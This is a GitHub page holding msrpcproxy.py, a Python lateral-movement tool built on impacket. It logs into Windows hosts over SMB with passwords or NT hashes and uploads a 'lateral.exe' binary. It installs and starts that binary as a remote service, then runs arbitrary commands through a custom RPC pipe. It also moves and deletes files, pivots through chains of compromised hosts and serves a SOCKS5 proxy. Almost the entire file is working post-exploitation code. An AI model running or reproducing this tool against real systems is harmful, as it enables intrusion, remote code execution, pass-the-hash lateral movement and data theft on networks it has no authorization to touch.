-
Notifications
You must be signed in to change notification settings - Fork 9
/
msrpcproxy.py
executable file
·600 lines (552 loc) · 18.9 KB
/
msrpcproxy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
#!/usr/bin/python3
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import encryptSecret
from impacket.smbconnection import SMBConnection
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRULONG, NDRVaryingString, NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRSTRUCT, NDRUniFixedArray
from impacket.dcerpc.v5.dtypes import LPWSTR, LPSTR, STR, SHORT, DWORD, PCHAR, LPBYTE, WSTR, LPDWORD, DWORD_ARRAY
from impacket.dcerpc.v5.lsad import PCHAR_ARRAY
from impacket.dcerpc.v5.nrpc import UCHAR_ARRAY, PUCHAR_ARRAY
from impacket.dcerpc.v5.wkst import CHAR_ARRAY
from os import fork, path
from threading import Thread
from struct import unpack, pack
from sys import argv, stdout, exit
import socket
from time import sleep
import threading
import argparse
__all__ = ["msrpc"]
class Target:
def __init__(self, host, user, passwd, domain=".", nthash="", port=445):
self.target = host
self.ip = host
self.target_ip = host
self.port = port
self.target_port = port
self.creds = user, passwd, domain, nthash
self.next = []
self.prev = None
self.connections = {}
def new(self, host, port):
self.next.append( Target(host, self.creds[0], self.creds[1], self.creds[2], self.creds[3], port) )
self.next[-1].prev = self
self.next[-1].ip = "127.0.0.1"
self.next[-1].target_ip = "127.0.0.1"
return self.next[-1]
class msrpc:
def __init__(self, host, user, passwd="", domain=".", nthash="", port=445):
self.target = Target(host, user, passwd, domain, nthash, port)
if not check_pipe(self.target):
install_service(self.target)
self.target.dce_session = {
"main": {"dce": msrpc_connect(self.target), "mutex": threading.Lock()},
"incoming": {"dce": msrpc_connect(self.target), "mutex": threading.Lock(), "sockets": {}},
"outcoming": {"dce": msrpc_connect(self.target), "mutex": threading.Lock()},
}
self.ip = host
self.prev = None
def __call__(self, cmd):
return execute(cmd, self.target)
def __del__(self):
for session in self.target.dce_session.values():
session["dce"].disconnect()
def get(self, source_path, target_path, share="c$"):
copy_from(self.target, source_path, target_path, share)
def put(self, source_path, target_path, share="c$"):
copy_to(self.target, source_path, target_path, share)
def delete(self, path, share="c$"):
delete(self.target, path, share)
def msrpc(self, host, user, passwd="", domain=".", nthash="", port=445):
port = proxy(self.target, Target(host, user, passwd, domain, nthash, port))
self.target.new(host, port)
target = msrpc("127.0.0.1", user, passwd, domain, nthash, port)
target.target.target = host
target.ip = host
target.prev = self
return target
def clear(self):
remove_service(self.target)
def copy_to(target, source_path, target_path, share="c$"):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
try:
smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=target.target_ip, sess_port=target.target_port)
smb.login(username, password, domain, lmhash, nthash)
with open(source_path, "rb") as f:
smb.putFile(share, target_path.replace('/','\\'), f.read)
return True
except Exception as e:
print(str(e))
return False
def copy_from(target, source_path, target_path, share="c$"):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
try:
smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=target.target_ip, sess_port=target.target_port)
smb.login(username, password, domain, lmhash, nthash)
with open(target_path, 'wb') as f:
smb.getFile(share, source_path.replace('/','\\'), f.write)
return True
except Exception as e:
print(str(e))
return False
def delete(target, path, share="c$"):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
try:
smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=target.target_ip, sess_port=target.target_port)
smb.login(username, password, domain, lmhash, nthash)
smb.deleteFile(share, path)
return True
except Exception as e:
print(str(e))
return False
def start_service(target):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
aesKey = None
remoteName = target.target_ip
remoteHost = target.target_ip
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(target.target_port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey)
rpctransport.set_kerberos(False, None)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
rpc = dce
#print("[*] creating")
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
try:
scmr.hRCreateServiceW(rpc, scManagerHandle, "lateral" + '\x00', "Lateral" + '\x00', lpBinaryPathName='lateral.exe\x00')
except Exception as e:
print(str(e))
#print("[*] starting")
ans = scmr.hROpenServiceW(rpc, scManagerHandle, "lateral"+'\x00')
serviceHandle = ans['lpServiceHandle']
try:
scmr.hRStartServiceW(rpc, serviceHandle)
except:
pass
scmr.hRCloseServiceHandle(rpc, serviceHandle)
def stop_service(target):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
aesKey = None
remoteName = target.target_ip
remoteHost = target.target_ip
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(target.target_port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey)
rpctransport.set_kerberos(False, None)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
rpc = dce
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
ans = scmr.hROpenServiceW(rpc, scManagerHandle, "lateral"+'\x00')
serviceHandle = ans['lpServiceHandle']
#print("[*] stopping")
#scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
print("[*] deleting")
scmr.hRDeleteService(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
def install_service(target):
print("[*] installing MSRPC proxy")
if copy_to(target, "msrpc/lateral.exe", "/windows/lateral.exe"):
start_service(target)
def remove_service(target):
print("[*] removing MSRPC proxy")
try: execute("taskkill /f /im lateral.exe", target)
except: pass
stop_service(target)
delete(target, "/windows/lateral.exe")
class SC_RPC_HANDLE(NDRSTRUCT):
structure = (
('Data','20s=""'),
)
def getAlignment(self):
return 1
class DCERPCSessionError(Exception):
def __init__(self, packet, error_code):
pass
class Connect(NDRCALL):
opnum = 0
structure = (
('ip',STR),
('port',SHORT),
)
class ConnectResponse(NDRCALL):
structure = (
('socket',DWORD),
)
class Disconnect(NDRCALL):
opnum = 1
structure = (
('socket',DWORD),
)
class DisconnectResponse(NDRCALL):
structure = ()
class Send(NDRCALL):
opnum = 2
structure = (
('socket',DWORD),
('data',STR),
('len',DWORD),
)
class SendResponse(NDRCALL):
structure = (
('len',DWORD),
)
class Recv(NDRCALL):
opnum = 3
structure = (
('sockets_count', DWORD),
('sockets',DWORD_ARRAY),
('len',DWORD),
)
class RecvResponse(NDRCALL):
structure = (
('socket',DWORD),
('data',CHAR_ARRAY),
('len',DWORD),
)
class Execute(NDRCALL):
opnum = 4
structure = (
('cmd',STR),
)
class ExecuteResponse(NDRCALL):
structure = (
('data',LPSTR),
)
def msrpc_connect(target):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
aesKey = None
MSRPC_UUID_lateral = uuidtup_to_bin(('00001111-2222-3333-4444-555566667777','1.0'))
stringbinding = r'ncacn_np:%s[\pipe\lateral]' % target.target_ip
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(target.target_port)
rpctransport.setRemoteHost(target.target_ip)
rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
dce.bind(MSRPC_UUID_lateral)
return dce
except Exception as e:
print(target.target + ": " + str(e))
return False
def execute(cmd, target):
dce = msrpc_connect(target)
execute = Execute()
execute["cmd"] = cmd + "\x00"
res = dce.request(execute)
try:
result = str(res["data"], "cp866")
except:
result = res["data"]
dce.disconnect()
return result
class Connection:
def print_proxy_chain(self, chain, direction="->"):
def chain_walk(the_chain, current):
if the_chain.target == current.target:
print(f"[{the_chain.target}]",end="")
else:
print(f"{the_chain.target}",end="")
for the_chain in the_chain.next:
print(f" {direction} ",end="")
chain_walk(the_chain, current)
chain_walk(chain_get_root(chain), chain)
stdout.write("\r")
stdout.flush()
def incoming(self, chain, dce_session, c, sock, connect_id):
dce = dce_session["dce"]
while True:
if not chain.connections[connect_id]:
#print("[*] incoming closing")
break
dce_session["mutex"].acquire()
recv = Recv()
recv["sockets_count"] = len(dce_session["sockets"].keys())
recv["sockets"] = dce_session["sockets"].keys()
recv["len"] = 1024
dce.call(recv.opnum, recv)
res = dce.recv()
dce_session["mutex"].release()
length = unpack("<i", res[-4:])[0]
data = res[ 8 : length+8 ]
if length == -1:
continue # waiting data
if length == 0:
#print("[*] RPC incoming closed")
chain.connections[connect_id] = False
break
sock = unpack("<I", res[:4])[0]
# self.print_proxy_chain(chain, direction="<-")
try:
dce_session["sockets"][sock].send(data)
except:
print("[*] local incoming closed")
chain.connections[connect_id] = False
break
#print("[debug] end thread incoming")
def outcoming(self, chain, dce_session, c, sock, connect_id):
dce = dce_session["dce"]
while True:
try:
data = c.recv(1024)
except:
#print("[*] local outcoming closed")
chain.connections[connect_id] = False
break
if not data or not chain.connections[connect_id]:
#print("[*] outcoming closing")
chain.connections[connect_id] = False
break
# self.print_proxy_chain(chain, direction="->")
send = Send()
send["socket"] = sock
send["data"] = data + b"\x00"
send["len"] = len(data)
dce_session["mutex"].acquire()
res = dce.request(send, checkError=False)
dce_session["mutex"].release()
#print("[debug] end thread outcoming")
def __init__(self, c, chain, target, connect_id):
dce = chain.dce_session["main"]["dce"]
connect = Connect()
connect["ip"] = target.ip + "\x00"
connect["port"] = target.port
chain.dce_session["main"]["mutex"].acquire()
res = dce.request(connect, checkError=False)
chain.dce_session["main"]["mutex"].release()
if res["socket"]:
chain.connections[connect_id] = True
chain.dce_session["incoming"]["sockets"][res["socket"]] = c
incoming_thr = Thread(target=self.incoming, args=(chain, chain.dce_session["incoming"], c, res["socket"], connect_id))
outcoming_thr = Thread(target=self.outcoming, args=(chain, chain.dce_session["outcoming"], c, res["socket"], connect_id))
incoming_thr.start()
outcoming_thr.start()
while chain.connections[connect_id]:
sleep(1)
del(chain.dce_session["incoming"]["sockets"][res["socket"]])
disconnect = Disconnect()
disconnect["socket"] = res["socket"]
chain.dce_session["main"]["mutex"].acquire()
res = dce.request(disconnect)
chain.dce_session["main"]["mutex"].release()
'''
if chain.prev:
others_connections = False
for sibling_chain in chain.prev.next:
if sibling_chain.connections:
others_connections = True
if others_connections:
for conn in chain.prev.connections:
chain.prev.connections[conn] = False
'''
#dce.disconnect()
def proxy(chain, target):
def serve(s, chain, target):
local_port = s.getsockname()[1]
while True:
c,info = s.accept()
connect_id = info[1] #client rport
redirect_thr = Thread(target=Connection, args=(c, chain, target, connect_id))
redirect_thr.start()
#print(f"[*] start proxy to {chain.target} ({info[0]}:{info[1]} -> {local_port})")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 0))
s.listen(10)
serve_thr = Thread(target=serve, args=(s, chain, target))
serve_thr.start()
local_port = s.getsockname()[1]
return local_port
def socks(port):
global chain
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", port))
s.listen(10)
while True:
try:
c,info = s.accept()
#print("[socks] via %s" % chain.target)
req = c.recv(1024)
ver,nauth = unpack("cc", req[:2])
c.send(b"\x05\x00")
req = c.recv(1024)
ver,op,_,addr_type = unpack("cccc", req[:4]) # socks5 only
if op == b"\x01" and addr_type == b"\x01":
addr = socket.inet_ntoa(req[4:8])
port = unpack('>H', req[8:10])[0]
print(f"[+] socks {chain.target} -> {addr}:{port}")
connect_id = info[1] #client rport
Thread(target=Connection, args=(c, chain, parse_target([addr, str(port)]), connect_id)).start()
c.send(b"\x05\x00\x00\x01"+req[4:8]+req[8:10])
except Exception as e:
print("[!] Socks: " + str(e))
s.close()
def check_pipe(target):
username, password, domain, nthash = target.creds
lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
aesKey = None
try:
MSRPC_UUID_lateral = uuidtup_to_bin(('00001111-2222-3333-4444-555566667777','1.0'))
stringbinding = r'ncacn_np:%s[\pipe\lateral]' % target.target_ip
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(target.target_port)
rpctransport.setRemoteHost(target.target_ip)
rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_lateral)
return True
except:
return False
class Chain:
def __init__(self, ip, port):
self.next = []
self.prev = None
self.target = ip
self.target_port = port
self.target_ip = ip
self.dce_session = {}
self.connections = {}
def new(self, ip, port):
self.next.append( Chain(ip, port) )
self.next[-1].prev = self
self.next[-1].target_ip = "127.0.0.1"
return self.next[-1]
def auth(self, user, passwd, domain, nthash):
self.creds = user, passwd, domain, nthash
if self.dce_session:
self.deauth()
else:
if not check_pipe(target=self):
install_service(target=self)
self.dce_session = {
"main": {"dce": msrpc_connect(self), "mutex": threading.Lock()},
"incoming": {"dce": msrpc_connect(self), "mutex": threading.Lock(), "sockets": {}},
"outcoming": {"dce": msrpc_connect(self), "mutex": threading.Lock()},
}
for flow in ["main", "incoming", "outcoming"]:
if not self.dce_session[flow]["dce"]:
return False
return True
def deauth(self):
for flow in ["main", "incoming", "outcoming"]:
if self.dce_session[flow]["dce"]:
self.dce_session[flow]["dce"].disconnect()
def chain_get_root(the_chain):
while True:
if not the_chain.prev:
break
the_chain = the_chain.prev
return the_chain
def chain_walk(the_chain, deep=0):
print(" "*deep + ("`" if deep > 0 else "") + (the_chain.target if the_chain.target != chain.target else the_chain.target+" <-"))
for the_chain in the_chain.next:
chain_walk(the_chain, deep+1)
def chain_get(the_chain, the_target):
if the_chain.target == the_target:
return the_chain
for the_chain in the_chain.next:
return chain_get(the_chain, the_target)
def print_help():
print('''shell 10.0.0.10 -user admin -pass s3cr3t [-dom corp -hash NT] - next chain
clear 10.0.0.10 -user admin -pass s3cr3t [-dom corp -hash NT] - remove Lateral service
get path/to/remote_file - download file
put path/to/local_file - upload file
del path/to/file - delete file
show - show chains stack
back - go to previous chain
goto 10.0.0.20 - go to an arbitrary chain
cmd - execute arbitrary command in current target
''')
def parse_target(cmd):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-user', dest="user", default="", help='username')
arg_parser.add_argument('-dom', dest="domain", default=".", help='domain')
arg_parser.add_argument('-pass', dest="passwd", default="", help='password')
arg_parser.add_argument('-hash', dest="nthash", default="", help='NT hash (opt)')
arg_parser.add_argument("ip", type=str, help="target IP")
arg_parser.add_argument("port", type=int, help="target Port", nargs='?', default=445)
args = arg_parser.parse_args(cmd)
return args
def cmd_loop(line):
global chain
if not line:
return
if line.startswith("shell ") or line.startswith("proxy ") or line.startswith("clear "):
target = parse_target(line.strip().split(" ")[1:])
if chain:
port = proxy(chain, target)
chain = chain.new(target.ip, port)
else:
chain = Chain(target.ip, 445)
if not chain.auth(target.user, target.passwd, target.domain, target.nthash):
chain = chain.prev
if chain:
chain.next.pop()
if line.startswith("clear "):
remove_service(chain)
chain = chain.prev
if chain:
chain.next.pop()
elif line.startswith("get "):
file = line.split()[1]
if chain:
copy_from(chain, source_path=file, target_path=path.basename(file))
elif line.startswith("put "):
file = line.split()[1]
if chain:
copy_to(chain, source_path=file, target_path=path.basename(file))
elif line.startswith("del "):
file = line.split()[1]
if chain:
delete(chain, path=file)
elif line in ("show", "bt", "stack"):
if chain:
chain_walk(chain_get_root(chain))
elif line in ("back",):
if chain:
chain = chain.prev
elif line.startswith("goto "):
new_target = line.split()[1]
new_location = chain_get(chain_get_root(chain), new_target)
if new_location:
chain = new_location
elif line in ('exit', 'quit', 'q'):
exit()
elif line in ('help',):
print_help()
elif line in ('debug',):
import ipdb; ipdb.set_trace()
else:
cmd = line
if chain:
print(execute(cmd, target=chain))
if __name__ == '__main__':
chain = False
Thread(target=socks, args=(3128,)).start()
for arg in argv[1:]:
cmd_loop(arg)
while True:
line = input(f"{chain.target if chain else 'shells'}/> ")
cmd_loop(line)